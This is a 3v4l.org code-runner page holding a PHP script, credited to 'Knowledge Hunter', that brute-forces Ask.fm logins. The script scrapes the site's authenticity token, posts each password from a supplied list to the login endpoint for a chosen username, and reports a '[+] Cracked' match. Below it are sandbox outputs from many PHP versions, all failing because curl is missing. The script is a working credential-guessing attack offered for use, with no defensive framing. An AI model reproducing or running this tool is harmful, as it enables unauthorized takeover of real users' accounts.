3v4l.org

run code in 300+ PHP versions simultaneously
<?php # Coded By : Knowledge Hunter # Greet'z : GRENXPARTa - Mr K - Ice Cream echo "<form method='POST'><title>Ask.Fm Brute Force</title><center> <font face='Tahoma' size='5' color='darkred'><b>Ask.Fm</b></font><font face='Tahoma' size='2'><b> Brute Force</b><br> <input name='username' placeholder='username'><br> <textarea cols='20' rows='15' name='pass'></textarea><br> <input type='submit' value='Brute' /><br></form>"; @set_time_limit(0); @error_reporting(0); $site = "http://ask.fm/login/"; $username = $_POST['username']; $passl = explode("\r\n", $_POST['pass']); foreach($passl as $pass) { $hash = token($site); $x = brute($hash,$username,$pass); if(preg_match('/<a href="(.*?)" class="link-menu" data-rlt-aid="tlb_menu_answers">Profile/', $x)) { //print $x; print "<br>[+] Cracked : <font face='Tahoma' size='2' color='red'><b>{$username}</b></font> / <font face='Tahoma' size='2' color='red'><b>{$pass}</b></font>"; flush();flush(); break; } } # extract auth_token function token($site) { $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1); curl_setopt($curl, CURLOPT_URL, $site); curl_setopt($curl, CURLOPT_COOKIEJAR, getcwd()."./cookie.txt"); curl_setopt($curl, CURLOPT_COOKIEFILE, getcwd()."./cookie.txt"); $b0x = curl_exec($curl); preg_match('/<input name="authenticity_token" type="hidden" value="(.*?)" /' ,$b0x ,$token); return $token[1]; } # brute function brute($hash,$username,$pass) { $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1); curl_setopt($curl, CURLOPT_URL, "http://ask.fm/session"); curl_setopt($curl, CURLOPT_POSTFIELDS, "authenticity_token={$hash}&login={$username}&password={$pass}&commit=Log+in"); curl_setopt($curl, CURLOPT_COOKIEJAR, getcwd()."./cookie.txt"); curl_setopt($curl, CURLOPT_COOKIEFILE, getcwd()."./cookie.txt"); $brute = curl_exec($curl); return $brute; } @system("del cookie.txt"); @system("rm cookie.txt"); echo "<br><br><font face='Tahoma' size='2'>[+] Coded By : Knowledge Hunter | Homepage: knowledge-h.blogspot.com <br> Greet'z : GRENXPARTa - Mr K - Ice-cream</font>"; ?>
Output for 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
<form method='POST'><title>Ask.Fm Brute Force</title><center> <font face='Tahoma' size='5' color='darkred'><b>Ask.Fm</b></font><font face='Tahoma' size='2'><b> Brute Force</b><br> <input name='username' placeholder='username'><br> <textarea cols='20' rows='15' name='pass'></textarea><br> <input type='submit' value='Brute' /><br></form> Warning: Undefined array key "username" in /in/1DrIH on line 14 Warning: Undefined array key "pass" in /in/1DrIH on line 15 Deprecated: explode(): Passing null to parameter #2 ($string) of type string is deprecated in /in/1DrIH on line 15 Fatal error: Uncaught Error: Call to undefined function curl_init() in /in/1DrIH:31 Stack trace: #0 /in/1DrIH(18): token('http://ask.fm/l...') #1 {main} thrown in /in/1DrIH on line 31
Process exited with code 255.
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 <form method='POST'><title>Ask.Fm Brute Force</title><center> <font face='Tahoma' size='5' color='darkred'><b>Ask.Fm</b></font><font face='Tahoma' size='2'><b> Brute Force</b><br> <input name='username' placeholder='username'><br> <textarea cols='20' rows='15' name='pass'></textarea><br> <input type='submit' value='Brute' /><br></form> Warning: Undefined array key "username" in /in/1DrIH on line 14 Warning: Undefined array key "pass" in /in/1DrIH on line 15 Deprecated: explode(): Passing null to parameter #2 ($string) of type string is deprecated in /in/1DrIH on line 15 Fatal error: Uncaught Error: Call to undefined function curl_init() in /in/1DrIH:31 Stack trace: #0 /in/1DrIH(18): token('http://ask.fm/l...') #1 {main} thrown in /in/1DrIH on line 31
Process exited with code 255.
Output for 8.0.0 - 8.0.30
<form method='POST'><title>Ask.Fm Brute Force</title><center> <font face='Tahoma' size='5' color='darkred'><b>Ask.Fm</b></font><font face='Tahoma' size='2'><b> Brute Force</b><br> <input name='username' placeholder='username'><br> <textarea cols='20' rows='15' name='pass'></textarea><br> <input type='submit' value='Brute' /><br></form> Warning: Undefined array key "username" in /in/1DrIH on line 14 Warning: Undefined array key "pass" in /in/1DrIH on line 15 Fatal error: Uncaught Error: Call to undefined function curl_init() in /in/1DrIH:31 Stack trace: #0 /in/1DrIH(18): token('http://ask.fm/l...') #1 {main} thrown in /in/1DrIH on line 31
Process exited with code 255.
Output for 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.31, 7.4.0 - 7.4.33
<form method='POST'><title>Ask.Fm Brute Force</title><center> <font face='Tahoma' size='5' color='darkred'><b>Ask.Fm</b></font><font face='Tahoma' size='2'><b> Brute Force</b><br> <input name='username' placeholder='username'><br> <textarea cols='20' rows='15' name='pass'></textarea><br> <input type='submit' value='Brute' /><br></form> Notice: Undefined index: username in /in/1DrIH on line 14 Notice: Undefined index: pass in /in/1DrIH on line 15 Fatal error: Uncaught Error: Call to undefined function curl_init() in /in/1DrIH:31 Stack trace: #0 /in/1DrIH(18): token('http://ask.fm/l...') #1 {main} thrown in /in/1DrIH on line 31
Process exited with code 255.
Output for 7.3.32 - 7.3.33
<form method='POST'><title>Ask.Fm Brute Force</title><center> <font face='Tahoma' size='5' color='darkred'><b>Ask.Fm</b></font><font face='Tahoma' size='2'><b> Brute Force</b><br> <input name='username' placeholder='username'><br> <textarea cols='20' rows='15' name='pass'></textarea><br> <input type='submit' value='Brute' /><br></form> Fatal error: Uncaught Error: Call to undefined function curl_init() in /in/1DrIH:31 Stack trace: #0 /in/1DrIH(18): token('http://ask.fm/l...') #1 {main} thrown in /in/1DrIH on line 31
Process exited with code 255.
Output for 5.5.0 - 5.5.38, 5.6.0 - 5.6.40
<form method='POST'><title>Ask.Fm Brute Force</title><center> <font face='Tahoma' size='5' color='darkred'><b>Ask.Fm</b></font><font face='Tahoma' size='2'><b> Brute Force</b><br> <input name='username' placeholder='username'><br> <textarea cols='20' rows='15' name='pass'></textarea><br> <input type='submit' value='Brute' /><br></form> Notice: Undefined index: username in /in/1DrIH on line 14 Notice: Undefined index: pass in /in/1DrIH on line 15 Fatal error: Call to undefined function curl_init() in /in/1DrIH on line 31
Process exited with code 255.

preferences:
237.92 ms | 402 KiB | 329 Q